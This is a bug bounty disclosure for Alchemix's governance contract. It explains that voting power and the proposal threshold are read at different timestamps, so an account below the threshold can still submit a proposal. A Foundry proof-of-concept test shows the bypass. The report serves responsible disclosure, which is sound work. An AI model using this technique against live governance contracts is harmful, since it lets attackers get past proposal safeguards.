31277 - [SC - Insight] The user can propose with less voting power tha...
Submitted on May 16th 2024 at 03:55:34 UTC by @cryptoticky for Boost | Alchemix
Report ID: #31277
Report type: Smart Contract
Report severity: Insight
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol
Impacts:
Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Description
Brief/Intro
The user can propose with less voting power than proposalThreshold.
Vulnerability Details
This error arises from the difference between the timing of calculating votingPower and proposalThreshold.
L2Governor.sol
require(
getVotes(_msgSender(), block.timestamp - 1) >= proposalThreshold(),
"Governor: veALCX power below proposal threshold"
);
the votingPower is calculated at block.timestamp - 1
.
but
function proposalThreshold() public view override(L2Governor) returns (uint256) {
return (token.getPastTotalSupply(block.timestamp) * proposalNumerator) / PROPOSAL_DENOMINATOR;
}
proposalThreshold
is calculated at block.timestamp
In block.timestamp
, VotingEscrow.totalSupplyAtT
becomes smaller than at block.timestamp - 1
point. If a withdraw occurs at this point, it makes more changes. An attacker may artificially carry out withdraw to make the VotingEscrow.totalSupplyAtT
smaller. Or the attacker can propose in the same transaction as soon as a user withdraw a large amount.
Impact Details
By lowering the minimum unit price to create an offer, it makes it easier for an attacker to generate a malicious offer.
Proof of Concept
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.15;
import "./BaseTest.sol";
contract AlchemixGovernorPoCTest is BaseTest {
function setUp() public {
setupContracts(block.timestamp);
}
function craftTestProposal()
internal
view
returns (address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description)
{
targets = new address[](1);
targets[0] = address(voter);
values = new uint256[](1);
values[0] = 0;
calldatas = new bytes[](1);
calldatas[0] = abi.encodeWithSelector(voter.whitelist.selector, usdc);
description = "Whitelist USDC";
}
function testProposePoC1() public {
uint256 targetTokenId = createVeAlcx(admin, TOKEN_1 * 4 - 5000, MAXTIME, false);
uint256 userTokenId = createVeAlcx(beef, TOKEN_1 * 96, MAXTIME, false);
uint256 votingPower = governor.getVotes(admin, block.timestamp);
uint256 proposalThreshold = governor.proposalThreshold();
// votingPower < proposalThreshold
assertLt(votingPower, proposalThreshold, "votingPower >= proposalThreshold");
hevm.startPrank(admin);
hevm.warp(block.timestamp + 1);
(address[] memory t, uint256[] memory v, bytes[] memory c, string memory d) = craftTestProposal();
// this call is not failed.
governor.propose(t, v, c, d, MAINNET);
hevm.stopPrank();
}
}
Last updated
Was this helpful?